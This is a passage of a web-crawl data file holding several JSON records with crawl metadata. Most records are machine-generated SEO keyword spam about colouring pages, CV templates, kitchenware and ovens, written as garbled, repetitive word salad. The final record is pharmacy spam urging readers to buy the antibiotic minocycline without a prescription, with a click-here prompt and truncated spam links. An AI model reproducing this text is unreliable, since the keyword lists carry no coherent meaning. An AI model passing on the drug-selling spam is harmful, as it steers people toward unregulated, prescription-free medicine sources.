ibis.\nbibliotheque murale design by gerard de hoop.\nbibliotheque murale design sur mesure l comment.\nbibliotheque murale design metal mural cm.\nbibliotheque murale design metal original en lymph.","id":"","dump":"CC-MAIN-2019-09","url":"http:\/\/socialfuzz.me\/bibliotheque-murale-design\/","date":"2019-02-20T09:26:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550247494694.1\/warc\/CC-MAIN-20190220085318-20190220111318-00004.warc.gz","language":"ina","language_score":0.5305232406,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.5305232405662537, \"eng_Latn_score\": 0.16035471856594086, \"fra_Latn_score\": 0.040929164737463, \"lat_Latn_score\": 0.03536292538046837, \"ron_Latn_score\": 0.026175225153565407, \"gmh_Latn_score\": 0.016334105283021927, \"sco_Latn_score\": 0.014654041267931461, \"ita_Latn_score\": 0.012052136473357677, \"eus_Latn_score\": 0.011608053930103779, \"rmy_Latn_score\": 0.01017798949033022}","num_words":422,"character_repetition_ratio":0.391,"word_repetition_ratio":0.123,"special_characters_ratio":0.166,"stopwords_ratio":0.159,"flagged_words_ratio":0.0,"lang_id_score":0.538,"perplexity_score":13227.3,"cluster_detection":-1} +{"text":"dessin de mario bros bros bros a bros a dessin anime de mario kart wii.\ndessin de mario bros bros a super odyssey dessin anime super mario bros 2.\ndessin de mario bros maker coloring pages dessin anime de mario bros 3 en francais.\ndessin de mario bros mini s super dessin de mario bros wii.\ndessin de mario bros coloring page bros video games printable coloring pages a dessin de mario bros 2.\ndessin de mario bros drawn bullet brothers free pages drawn bullet dessin anime de super mario bros 2.\ndessin de mario bros dessin anime de mario bros.\ndessin de mario bros a la en dessin anime mario bros en francais.\ndessin de mario bros super super super bros 2 dessin a imprimer de mario bros 2.\ndessin de mario bros super bros dessin mario bros facile.\ndessin de mario bros super super bros coloring page super super smash super bros super coloring index of super super brothers dessin anime de mario kart wii.\ndessin de mario bros 2 dessin super mario bros.\ndessin de mario bros colour in dessin anime mario bros en francais.\ndessin de mario bros bros a a dessin anime super mario bros en francais.\ndessin de mario bros good bros with junior coloriage de mario kart wii.\ndessin de mario bros super brothers super bros bros 4 4 kart super bros super dessin anime super mario bros.\ndessin de mario bros super bros a s coloriage de mario kart wii.\ndessin de mario bros dessin coloriage mario bros.\ndessin de mario bros super super bros a on super bros u super mario bros dessin anime generique.\ndessin de mario bros super brothers super bros super bros u dessin super smash bros wii u.\ndessin de mario bros swag and image dessin anime de mario bros.\ndessin de mario bros interesting nos super bros with jr coloriage new super mario bros wii.\ndessin de mario bros bros a super mario bros 3 dessin anime en francais.\ndessin de mario bros new super bros coloriage super mario bros wii.\ndessin de mario bros bros a dessin a colorier de super mario bros.\ndessin de mario bros super brothers super bros 3 dessin de mario bros facile.\ndessin de mario bros kart coloring pages awesome super bros coloring pages coloring pages for kart dessin anime super mario bros.\ndessin de mario bros bros a dessin a imprimer de mario bros 2.\ndessin de mario bros work coloring pages bros games bros coloring dessin anime de super mario bros en francais.\ndessin de mario bros bros a dessin anime de super mario bros.","id":"","dump":"CC-MAIN-2019-13","url":"http:\/\/cinesouth.info\/dessin-de-mario-bros\/","date":"2019-03-20T03:21:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912202199.51\/warc\/CC-MAIN-20190320024206-20190320050206-00475.warc.gz","language":"ina","language_score":0.8018558621,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.8018558621406555, \"nov_Latn_score\": 0.04026872664690018, \"bam_Latn_score\": 0.030251119285821915, \"ewo_Latn_score\": 0.011726570315659046, \"fra_Latn_score\": 0.01075650379061699}","num_words":812,"character_repetition_ratio":0.317,"word_repetition_ratio":0.335,"special_characters_ratio":0.2,"stopwords_ratio":0.081,"flagged_words_ratio":0.0,"lang_id_score":0.802,"perplexity_score":3038.9,"cluster_detection":-1} +{"text":"Exemple Carton D Invitation Inauguration exemple carton d invitation inauguration invitation inauguration ciseaux et ruban rouge 123cartes. exemple carton d invitation inauguration 12 texte invitation inauguration wiki practice free. exemple carton d invitation inauguration 15 modele invitation inauguration street balades download. Exemple Carton D Invitation Inauguration exemple carton d invitation inauguration carte invitation inauguration inspirant carte d invitation download. exemple carton d invitation inauguration carton invitation inauguration verso lanacrouse cole de template. exemple carton d invitation inauguration modle carton invitation inauguration cof ulm printable. Exemple Carton D Invitation Inauguration\nExemple Carton D Invitation Inauguration Invitation Inauguration Ciseaux Et Ruban Rouge 123cartesExemple Carton D Invitation Inauguration 12 Texte Invitation Inauguration Wiki Practice Free Exemple Carton D Invitation Inauguration 15 Modele Invitation Inauguration Street Balades DownloadExemple Carton D Invitation Inauguration Carte Invitation Inauguration Inspirant Carte D Invitation Download Exemple Carton D Invitation Inauguration Carton Invitation Inauguration Verso Lanacrouse Cole De TemplateExemple Carton D Invitation Inauguration Modle Carton Invitation Inauguration Cof Ulm Printable\nExemple Carton D Invitation Inauguration exemple carton d invitation inauguration 12 texte invitation inauguration wiki practice free. exemple carton d invitation inauguration 15 modele invitation inauguration street balades download. exemple carton d invitation inauguration carte invitation inauguration inspirant carte d invitation download. exemple carton d invitation inauguration carton invitation inauguration verso lanacrouse cole de template. exemple carton d invitation inauguration modle carton invitation inauguration cof ulm printable.","id":"","dump":"CC-MAIN-2019-13","url":"http:\/\/mptraffle.com\/exemple-carton-d-invitation-inauguration\/exemple-carton-d-invitation-inauguration-invitation-inauguration-ciseaux-et-ruban-rouge-123cartes\/","date":"2019-03-22T20:22:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912202689.76\/warc\/CC-MAIN-20190322200215-20190322222215-00131.warc.gz","language":"ina","language_score":0.3183574378,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3183574378490448, \"fra_Latn_score\": 0.27228572964668274, \"eng_Latn_score\": 0.2557518184185028, \"ron_Latn_score\": 0.017983999103307724, \"ile_Latn_score\": 0.01763010211288929, \"sco_Latn_score\": 0.014358571730554104, \"swe_Latn_score\": 0.012319426983594894}","num_words":377,"character_repetition_ratio":0.304,"word_repetition_ratio":0.772,"special_characters_ratio":0.136,"stopwords_ratio":0.109,"flagged_words_ratio":0.0,"lang_id_score":0.341,"perplexity_score":8275.0,"cluster_detection":-1} +{"text":"como generar un curriculum vitae c³mo hacer un currculum sin experiencia laboral, como generar un curriculum vitae c³mo hacer un curriculum vitae perfecto, como generar un curriculum vitae o hacer un curriculum vitae aprende tecnologia, como generar un curriculum vitae 70 well designed resume examples for your inspiration, 1222 best infographic visual resumes images on pinterest como generar un curriculum vitae,\nComo Generar Un Curriculum Vitae C³mo Hacer Un Currculum Sin Experiencia Laboral fuente: youtube.com\nComo Generar Un Curriculum Vitae C³mo Hacer Un Curriculum Vitae Perfecto fuente: cicerocomunicacion.es\nComo Generar Un Curriculum Vitae O Hacer Un Curriculum Vitae Aprende Tecnologia fuente: losnegociosonline.com\nComo Generar Un Curriculum Vitae 70 Well Designed Resume Examples for Your Inspiration fuente: piktochart.com\n1222 Best Infographic Visual Resumes Images On Pinterest Como Generar Un Curriculum Vitae fuente: pinterest.com\nComo Generar Un Curriculum Vitae Modelo De Curriculum Vitae En Word Physic Minimalistics fuente: physic.minimalistics.co\nComo Generar Un Curriculum Vitae 1222 Best Infographic Visual Resumes Images On Pinterest fuente: pinterest.com\ncomo generar un curriculum vitae modelo de curriculum vitae en word physic minimalistics, como generar un curriculum vitae 1222 best infographic visual resumes images on pinterest, formatos de curriculum vitae profesional physic minimalistics como generar un curriculum vitae, como generar un curriculum vitae o hacer un curriculum vitae o hacer un curriculum en japones,","id":"","dump":"CC-MAIN-2019-22","url":"http:\/\/teleycinema.com\/como-generar-un-curriculum-vitae\/","date":"2019-05-26T07:03:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232258862.99\/warc\/CC-MAIN-20190526065059-20190526091059-00009.warc.gz","language":"ina","language_score":0.6728459597,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.6728459596633911, \"lat_Latn_score\": 0.06824865937232971, \"spa_Latn_score\": 0.05132390931248665, \"sco_Latn_score\": 0.035484448075294495, \"ast_Latn_score\": 0.016137557104229927, \"arg_Latn_score\": 0.01410398818552494, \"srd_Latn_score\": 0.01330479048192501, \"eus_Latn_score\": 0.011556724086403847, \"cbk_Latn_score\": 0.01062085572630167, \"oci_Latn_score\": 0.01045157853513956}","num_words":387,"character_repetition_ratio":0.22,"word_repetition_ratio":0.495,"special_characters_ratio":0.169,"stopwords_ratio":0.07,"flagged_words_ratio":0.0,"lang_id_score":0.814,"perplexity_score":5777.9,"cluster_detection":-1} +{"text":"|Code||Name|\n|BTC||Crypto Bullion rates in Bitcoin|\n|DOGE||Crypto Bullion rates in Dogecoin|\n|DOT||Crypto Bullion rates in Dotcoin|\n|ETH||Crypto Bullion rates in Ethereum|\n|ETH-OLD||Crypto Bullion rates in eth-old|\n|EUR||Crypto Bullion rates in Euro|\n|FTC||Crypto Bullion rates in Feathercoin|\n|HTML5||Crypto Bullion rates in html5|\n|LTC||Crypto Bullion rates in Litecoin|\n|POP||Crypto Bullion rates in PopularCoin|\n|UNO||Crypto Bullion rates in Unobtanium|\n|USD||Crypto Bullion rates in United States dollar|\n|XMR||Crypto Bullion rates in Monero|","id":"","dump":"CC-MAIN-2019-22","url":"https:\/\/cryptfolio.com\/currencies\/cbx\/other-rates","date":"2019-05-26T19:29:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232259452.84\/warc\/CC-MAIN-20190526185417-20190526211417-00097.warc.gz","language":"ina","language_score":0.3866456151,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"ina_Latn_score\": 0.3866456151008606, \"eng_Latn_score\": 0.3790643513202667, \"mui_Latn_score\": 0.04404958337545395, \"enm_Latn_score\": 0.019407637417316437, \"war_Latn_score\": 0.013717230409383774, \"lij_Latn_score\": 0.010711539536714554}","num_words":170,"character_repetition_ratio":0.411,"word_repetition_ratio":0.0,"special_characters_ratio":0.232,"stopwords_ratio":0.106,"flagged_words_ratio":0.0,"lang_id_score":0.731,"perplexity_score":12099.8,"cluster_detection":-1} +{"text":"C³mo hacer un cv que le abra las puertas correctas que debe tener un curriculum vitae. Folcanarias cv que debe tener un curriculum vitae.\nC³mo Hacer Un Cv Que Le Abra Las Puertas Correctas Que Debe Tener Un Curriculum Vitae fuente: incae.edu\nFolcanarias Cv Que Debe Tener Un Curriculum Vitae fuente: folcanarias.com","id":"","dump":"CC-MAIN-2019-22","url":"http:\/\/curriculumvt.me\/que-debe-tener-un-curriculum-vitae\/c%C2%B3mo-escribir-objetivos-en-un-curr%C2%ADculum-al-buscar-trabajo-que-debe-tener-un-curriculum-vitae\/","date":"2019-05-27T11:55:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232262369.94\/warc\/CC-MAIN-20190527105804-20190527131804-00033.warc.gz","language":"ina","language_score":0.4727693796,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.4727693796157837, \"spa_Latn_score\": 0.44608739018440247, \"arg_Latn_score\": 0.026915578171610832, \"cbk_Latn_score\": 0.01109904795885086}","num_words":90,"character_repetition_ratio":0.108,"word_repetition_ratio":0.469,"special_characters_ratio":0.187,"stopwords_ratio":0.056,"flagged_words_ratio":0.0,"lang_id_score":0.434,"perplexity_score":5295.4,"cluster_detection":-1} +{"text":"Resume template 2 pages como es un curriculum vitae. O hacer un cover letter ejemplos 12 what a cover letter for como es un curriculum vitae. New 11 illustration curriculum vitae como es un curriculum vitae. O hacer un cover letter ejemplos curriculum vitae sin foto como es un curriculum vitae. Como es un curriculum vitae hacer resume gratis awesome email marketing resume sample unique od.\nResume Template 2 Pages Como Es Un Curriculum Vitae fuente: pinterest.com\nO Hacer Un Cover Letter Ejemplos 12 What A Cover Letter for Como Es Un Curriculum Vitae fuente: zamislisrbiju.org\nNew 11 Illustration Curriculum Vitae Como Es Un Curriculum Vitae fuente: aomuaphongthuy.com\nO Hacer Un Cover Letter Ejemplos Curriculum Vitae Sin Foto Como Es Un Curriculum Vitae fuente: zamislisrbiju.org\nComo Es Un Curriculum Vitae Hacer Resume Gratis Awesome Email Marketing Resume Sample Unique Od fuente: genericrevia.club\nComo Es Un Curriculum Vitae Curriculum Vitae or Resume ¢ËÅ¡ 30 Fresh Curriculum Vitae Examples fuente: kampanjakoodi.info\nComo Es Un Curriculum Vitae Lovely Ejemplo De Curriculum Creativo by Mentiradeloro Resume Vs fuente: vegetaful.com\nComo es un curriculum vitae curriculum vitae or resume ¢ËÅ¡ 30 fresh curriculum vitae examples. Como es un curriculum vitae lovely ejemplo de curriculum creativo by mentiradeloro resume vs. O hacer un cover letter ejemplos curriculum vitae line – make como es un curriculum vitae. Que es un curriculum vitae ejemplo como es un curriculum vitae.","id":"","dump":"CC-MAIN-2019-26","url":"http:\/\/curriculumvt.me\/como-es-un-curriculum-vitae\/","date":"2019-06-17T08:54:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560627998462.80\/warc\/CC-MAIN-20190617083027-20190617105027-00203.warc.gz","language":"ina","language_score":0.639066577,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.6390665769577026, \"spa_Latn_score\": 0.20268507301807404, \"lat_Latn_score\": 0.05144071951508522, \"cbk_Latn_score\": 0.01895018294453621}","num_words":412,"character_repetition_ratio":0.237,"word_repetition_ratio":0.536,"special_characters_ratio":0.183,"stopwords_ratio":0.083,"flagged_words_ratio":0.0,"lang_id_score":0.757,"perplexity_score":5653.9,"cluster_detection":-1} +{"text":"coloriage de logo super heros coloriage super heros lego.\ncoloriage de logo super heros max steel max steel super coloriage logo super heros.\ncoloriage de logo super heros x coloriage super heros fille a imprimer.\ncoloriage de logo super heros wolverine coloring sheet best super images on coloriage de super hero girl.\ncoloriage de logo super heros super a marvel heroes coloriage super heros femme.\ncoloriage de logo super heros marvel super coloring pages flowers gorgeous ideas marvel superheroes free coloriage de dc super heros girl.\ncoloriage de logo super heros coloriage de super hero fille.\ncoloriage de logo super heros super a coloriage de super heros marvel.\ncoloriage de logo super heros super flash en a coloriage de super heros a imprimer gratuit.\ncoloriage de logo super heros super flash a coloriage de super hero girl.\ncoloriage de logo super heros super coloriage de dc super heros girl.\ncoloriage de logo super heros iron man 3 batman superheros coloring pages a super iron man 3 batman superheros coloring pages a super marvel coloriage super heros lego.\ncoloriage de logo super heros super girl coloriage super heros fille.\ncoloriage de logo super heros super a super s coloriage super heros en ligne.\ncoloriage de logo super heros super super coloriage super heros marvel.\ncoloriage de logo super heros super hero gambit inx of s la coloriage de super heros a imprimer.\ncoloriage de logo super heros coloriage de dc super heros girl.\ncoloriage de logo super heros super s super heroes a super coloriage lego super heros a imprimer.\ncoloriage de logo super heros super coloriage super heros fille a imprimer.\ncoloriage de logo super heros masque super pour coloriage super heros fille a imprimer.\ncoloriage de logo super heros coloriage de super hero marvel.\ncoloriage de logo super heros drawing dc comics super heroes logos coloriage super heros en ligne gratuit.\ncoloriage de logo super heros masque a super unique masque super h a coloriage de super heros a imprimer.","id":"","dump":"CC-MAIN-2019-26","url":"http:\/\/skzoznam.info\/coloriage-de-logo-super-heros\/","date":"2019-06-17T12:48:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560627998475.92\/warc\/CC-MAIN-20190617123027-20190617145027-00339.warc.gz","language":"ina","language_score":0.7375288606,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.7375288605690002, \"asm_Latn_score\": 0.11140265315771103, \"dag_Latn_score\": 0.045953914523124695, \"gmh_Latn_score\": 0.026605622842907906, \"eng_Latn_score\": 0.012334756553173065}","num_words":522,"character_repetition_ratio":0.369,"word_repetition_ratio":0.29,"special_characters_ratio":0.178,"stopwords_ratio":0.019,"flagged_words_ratio":0.0,"lang_id_score":0.738,"perplexity_score":5646.6,"cluster_detection":-1} +{"text":"|sorti le 20\/03\/76||sorti le 19\/06\/76||sorti le 20\/01\/77||sorti le 20\/04\/77||sorti le 20\/07\/77||sorti le 20\/09\/77|\n|sorti le 20\/01\/78||sorti le 20\/05\/78||sorti le 19\/08\/78||sorti le 20\/12\/78||sorti le 20\/03\/79||sorti le 20\/07\/79|\n|sorti le 20\/11\/79||sorti le 19\/04\/80||sorti le 20\/06\/80||sorti le 20\/08\/80||sorti le 20\/11\/80||sorti le 20\/02\/81|\n|sorti le 20\/05\/81||sorti le 19\/09\/81||sorti le 16\/12\/81||sorti le 20\/03\/82||sorti le 20\/07\/82||sorti le 20\/10\/82|\n|sorti le 20\/04\/83||sorti le 18\/06\/83||sorti le 19\/11\/83||sorti le 19\/03\/84||sorti le 17\/08\/84||sorti le 19\/02\/85|\n|sorti le 19\/08\/85||sorti le 19\/06\/86||sorti le 19\/03\/87||sorti le 25\/12\/87||sorti le 26\/08\/88||sorti le 26\/09\/89|\n|sorti le 19\/10\/90||sorti le 30\/03\/92||sorti le 19\/10\/92||sorti le 17\/09\/93||sorti le 22\/12\/98||sorti le 16\/12\/04|\n|sorti le 26\/01\/09||sorti le 26\/08\/09||sorti le 30\/09\/10||sorti le 29\/10\/10||sorti le 26\/07\/11||sorti le 25\/02\/12|\n|sorti le 05\/10\/12|\n|Couvertures japonaises des 49\nvolumes parus chez Hakusensha\n\n\n(série en cours)","id":"","dump":"CC-MAIN-2019-30","url":"http:\/\/www.mangaverse.net\/html\/glassnokamencouvjap.htm","date":"2019-07-19T17:14:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195526324.57\/warc\/CC-MAIN-20190719161034-20190719183034-00271.warc.gz","language":"ina","language_score":0.3609007597,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.36090075969696045, \"fra_Latn_score\": 0.268416166305542, \"dyu_Latn_score\": 0.05096384510397911, \"ron_Latn_score\": 0.048136066645383835, \"tsn_Latn_score\": 0.024839891120791435, \"smo_Latn_score\": 0.022887879982590675, \"fud_Latn_score\": 0.02261796034872532, \"crs_Latn_score\": 0.021707702428102493, \"sot_Latn_score\": 0.01994825340807438, \"kck_Latn_score\": 0.018672430887818336, \"ita_Latn_score\": 0.015489062294363976, \"mnk_Latn_score\": 0.011718258261680603}","num_words":271,"character_repetition_ratio":0.298,"word_repetition_ratio":0.905,"special_characters_ratio":0.603,"stopwords_ratio":0.007,"flagged_words_ratio":0.0,"lang_id_score":0.362,"perplexity_score":3174.4,"cluster_detection":-1} +{"text":"le crueset spatulas le creuset revolution small silicone spatula marseille le creuset rubber spatulas.\nle crueset spatulas le creuset venus small spatula flame le creuset 7 piece spatula set.\nle crueset spatulas spatule medium pro le creuset le creuset silicone slotted spatulas.\nle crueset spatulas le creuset silicone pro spatula with wooden handle le creuset spatula crock.\nle crueset spatulas le creuset silicone professional medium spatula cerise le creuset spatulas.\nle crueset spatulas le creuset craft series powder purple medium spatula le creuset 7 piece spatula set.\nle crueset spatulas le creuset large spatula spoon sku 8101841 our top gift ideas for any occasion le creuset spatulacrocklecreuset.\nle crueset spatulas france le creuset silicone oil cool color brush shovel spoon spatula new large tool spot in spade shovel from tools on aliexpresscom alibaba group le creuset spatula crock pot.\nle crueset spatulas buy le creuset silicone spoon spatula coastal blue online at johnlewiscom le creuset pinterest blue duck egg blue and coastal le creuset 7 piece spatula set.\nle crueset spatulas le creuset silicone super spatula cherry le creuset rubber spatulas.\nle crueset spatulas le creuset craft series small spatula view a larger version of this product image le creuset silicone spatulas.\nle crueset spatulas le creuset revolution small silicone spatula le creuset rubber spatulas.\nle crueset spatulas le creuset silicone cooking tool set cjpg 574574 pixels le creuset spatula set.\nle crueset spatulas above l le creuset small silicone spatula in black onyx 795 above r le creuset medium silicone spatula in white 9 both at amazon le creuset silicone spatulas.\nle crueset spatulas le creuset to roll out craft series spatulas le creuset silicone slotted spatulas.\nle crueset spatulas le creuset silicone revolution small spatula utensil tool indigo new with tags le creuset spatula crock pot.\nle crueset spatulas le creuset craft series splatula spoon palm greem cookware js420 4p le creuset spatulas.\nle crueset spatulas le creuset craft series medium spatula provence accessory le creuset spatula set.\nle crueset spatulas le creuset silicone white mini silicone spatula le creuset spatulas.\nle crueset spatulas le creuset silicone spatulas.\nle crueset spatulas amazoncom le creuset revolution silicone spatula spoon cherry kitchen dining le creuset spatulas.\nle crueset spatulas le creuset craft series spatula spoon cerise accessory le creuset silicone spatulas.\nle crueset spatulas le creuset large spatula spoon classic citrus le creuset spatula set.\nle crueset spatulas le creuset le creuset kitchen pot and pan spatula spoon l93000103 spatula gr le creuset spatula set.\nle crueset spatulas le creuset silicone small spatula cherry le creuset rubber spatulas.\nle crueset spatulas and le creuset condiment spoon bh le creuset rubber spatulas.","id":"","dump":"CC-MAIN-2019-30","url":"http:\/\/branca.info\/le-crueset-spatulas\/","date":"2019-07-17T02:46:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195525009.36\/warc\/CC-MAIN-20190717021428-20190717043428-00327.warc.gz","language":"ina","language_score":0.3288806677,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.3288806676864624, \"ron_Latn_score\": 0.2564030587673187, \"fra_Latn_score\": 0.1056598573923111, \"eng_Latn_score\": 0.05407405272126198, \"mwv_Latn_score\": 0.026613451540470123, \"ita_Latn_score\": 0.017760034650564194, \"nap_Latn_score\": 0.012022897601127625, \"enm_Latn_score\": 0.010678019374608994, \"pms_Latn_score\": 0.010207749903202057}","num_words":815,"character_repetition_ratio":0.314,"word_repetition_ratio":0.304,"special_characters_ratio":0.174,"stopwords_ratio":0.072,"flagged_words_ratio":0.0,"lang_id_score":0.329,"perplexity_score":8017.1,"cluster_detection":-1} +{"text":"bibliothèque de l'arsenal bibliotheque de l'arsenal 5198 raimon miraval bibliotheque de l'arsenal paris bibliothèque de la pléiade bibliotheque de la pleiade catalogue bibliothèque historique de la ville de paris bibliothèque in english bibliothèque mazarine bibliotheque mazarine paris bibliotheque nationale bibliotheque nationale d'haiti bibliotheque nationale de bibliotheque nationale de france bibliotheque nationale de france address bibliotheque nationale de france bnf bibliotheque nationale de france catalogue bibliotheque nationale de france gallica bibliotheque nationale de france in paris bibliotheque nationale de france musique bibliotheque nationale de france paris bibliotheque nationale de tunisie bibliotheque nationale du quebec bibliotheque nationale france bibliotheque nationale history bibliothèque royale de belgique bibliotheque royale de belgique ms 6931 bibliothèque sainte geneviève bibliotheque sainte genevieve paris bibliothèque schoelcher bibliotheque schoelcher martinique la bibliotheque schoelcher the bibliotheque sainte genevieve Remarquable Bibliothèque Design June 29, 2019 by Rahul Corwin The Bibliothèque nationale de France is the national library of France, located in Paris. It is the The design was recognized with the European","id":"","dump":"CC-MAIN-2019-30","url":"https:\/\/masiondesignplan.cf\/tag\/bibliotheque-nationale-france\/","date":"2019-07-22T02:24:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195527458.86\/warc\/CC-MAIN-20190722010436-20190722032436-00471.warc.gz","language":"ina","language_score":0.3600717187,"language_script":"Latn","minhash_cluster_size":18,"top_langs":"{\"ina_Latn_score\": 0.36007171869277954, \"fra_Latn_score\": 0.20965509116649628, \"lat_Latn_score\": 0.08282520622015, \"eng_Latn_score\": 0.05559530481696129, \"gsw_Latn_score\": 0.05026349797844887, \"nov_Latn_score\": 0.028630798682570457, \"por_Latn_score\": 0.018073948100209236, \"nld_Latn_score\": 0.014298235066235065, \"eus_Latn_score\": 0.01422144751995802, \"hat_Latn_score\": 0.01258243527263403}","num_words":351,"character_repetition_ratio":0.305,"word_repetition_ratio":0.0,"special_characters_ratio":0.142,"stopwords_ratio":0.194,"flagged_words_ratio":0.0,"lang_id_score":0.382,"perplexity_score":6695.4,"cluster_detection":-1} +{"text":"nuwave oven pro plus power dome nuwave oven pro extender ring kit new wave oven pro oven pro plus replacement dome genuine oven pro plus exciting oven pro plus oven pro plus manual complete oven pro plus oven pro plus power dome mini white nuwave oven pro air fryer pro.\nof oven dome for pro plus and elite models replacement accessory categories big clear dome replacement for pro infrared convection oven models to nuwave plus accessories , pro plus , oven pro plus exciting oven pro plus oven pro plus manual complete oven pro plus oven pro plus power dome mini white nuwave oven pro air fryer pro , nuwave oven pro plus power dome maker under fire for product cracking , nuwave oven accessories nu wave oven pro w extender kit accessories nuwave oven accessories nu wave oven pro w extender kit accessories appliances in nuwave oven elite accessories, new wave oven pro best foods to make in the plus power nuwave pro , nuwave oven pro oven pro plus power dome model infrared in nuwave oven pro exciting oven pro plus oven pro plus nuwave oven pro oven pro plus power dome , nuwave oven pro oven pro easy chocolate pecan pie pecan pies nuwave oven pro oven pro plus electric oven black nuwave oven pro plus power dome, nuwave oven pro plus power dome oven pro plus w black digital panel , nuwave oven pro plus power dome oven pro plus w black digital panel nuwave oven pro plus power dome oven dome infrared and convection ovens oven dome for pro, nuwave pro plus oven as seen on tv smart countertop oven .","id":"","dump":"CC-MAIN-2019-30","url":"http:\/\/roztrousenaskleroza.info\/nuwave-oven-pro-plus-power-dome\/nuwave-oven-pro-plus-power-dome-nuwave-oven-pro-extender-ring-kit-new-wave-oven-pro-oven-pro-plus-replacement-dome-genuine-oven-pro-plus-exciting-oven-pro-plus-oven-pro-plus-manual\/","date":"2019-07-18T00:43:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195525483.62\/warc\/CC-MAIN-20190718001934-20190718023934-00263.warc.gz","language":"ina","language_score":0.3297953904,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.32979539036750793, \"eng_Latn_score\": 0.19545896351337433, \"jam_Latn_score\": 0.1951901763677597, \"her_Latn_score\": 0.0810672864317894, \"pcm_Latn_score\": 0.06943090260028839, \"goh_Latn_score\": 0.025520987808704376}","num_words":431,"character_repetition_ratio":0.284,"word_repetition_ratio":0.303,"special_characters_ratio":0.19,"stopwords_ratio":0.049,"flagged_words_ratio":0.0,"lang_id_score":0.33,"perplexity_score":5493.4,"cluster_detection":-1} +{"text":"comprar minocycline hydrochloride 100 mg en mexico. comprar minocycline hydrochloride sin receta en usa\nOrdenar Minocycline hydrochloride Minocin 100mg En Línea\n⇒ CLIC AQUí ⇐\ncomprar minocycline hydrochloride desde españa\nhttp:\/\/recampus.ning.com\/profiles\/blogs ... -rep-blica\nminocycline hydrochloride gotas precio\ncomprar minocycline hydrochloride ourense\ncomprar minocycline hydrochloride contrareembolso en barcelona\ncomprar minocycline hydrochloride contrareembolso en madrid\ndonde comprar minocycline hydrochloride en lima peru! comprar minocycline hydrochloride en jerez; donde comprar minocycline hydrochloride sin receta costa rica\nminocycline hydrochloride 50mg comprar barcelona\ncomprar minocycline hydrochloride 50 mg en montevideo\ndonde comprar minocycline hydrochloride mapuche en chile. comprar minocycline hydrochloride 50mg ourense; comprar minocycline hydrochloride francia, donde comprar minocycline hydrochloride argentina.\nminocin 50 mg cual comprar\nminocycline hydrochloride venta al publico\nhttp:\/\/luvisart.ning.com\/profiles\/blogs ... -argentina\ncomprar minocycline hydrochloride 100 mg com\nminocycline hydrochloride 50 mg en medellin comprar\ncomprar minocycline hydrochloride 100 mg por internet en españa\ndonde se puede comprar minocycline hydrochloride contrareembolso Principat d'Andorra\nminocin venta bajo receta archivada\ncomprar minocycline hydrochloride 50mg herbal\nminocycline hydrochloride precio colombia\nhttp:\/\/bigtombolo.ning.com\/profiles\/blo ... da-estados\ncomprar minocycline hydrochloride 100mg en tenerife\nminocin venden sin receta México\ncomprar minocycline hydrochloride en inglaterra\ncomprar minocycline hydrochloride con diners club Argentina\nminocycline hydrochloride guatemala venta\nhttp:\/\/crossroadshob.ning.com\/profiles\/ ... r-internet\nminocycline hydrochloride 50 mg precio en colombia\nminocycline hydrochloride precio colombia bogota\ncomprar minocycline hydrochloride mar plata, minocycline hydrochloride precio barato. comprar minocycline hydrochloride 50 mg buen precio. se puede comprar minocycline hydrochloride sin receta en farmacia en argentina. comprar minocycline hydrochloride 50mg sin receta andorra. minocycline hydrochloride español comprar, donde comprar minocycline hydrochloride en alicante. comprar minocycline hydrochloride bogota.\ncomprar minocycline hydrochloride 50 mg pontevedra\nhttp:\/\/showmeanswer.com\/index.php?qa=38 ... net-brasil\nminocycline hydrochloride precio en buenos aires\nminocin se vende sin receta medica España\ncomprar minocycline hydrochloride 50 mg foros\nminocin simple precio Dominicana\ncomo comprar minocycline hydrochloride sin receta mexico\nminocycline hydrochloride original comprar, comprar minocycline hydrochloride en mano madrid. comprar minocycline hydrochloride para mujeres. minocycline hydrochloride minocin 100 mg precio. comprar minocycline hydrochloride en alicante sin receta, minocycline hydrochloride 50 mg comprar argentina. minocycline hydrochloride donde comprar en uruguay. comprar minocycline hydrochloride en zaragoza sin receta.\nhttp:\/\/divinguniverse.com\/blogs\/post\/71997\ncomprar minocycline hydrochloride brand\ncomprar minocycline hydrochloride 100mg en el salvador\ncomprar minocin opiniones\nhttp:\/\/libertyattendancecenter1969.ning ... bitcoin-uk\ncomprar minocycline hydrochloride barato online\ncomprar minocycline hydrochloride soft\nminocycline hydrochloride generica precio USA\ncomprar minocycline hydrochloride femenino en mexico; se puede comprar minocycline hydrochloride en las farmacias sin receta medica.\ndonde comprar minocycline hydrochloride generico foro! comprar minocycline hydrochloride receta medica\nminocycline hydrochloride 100mg 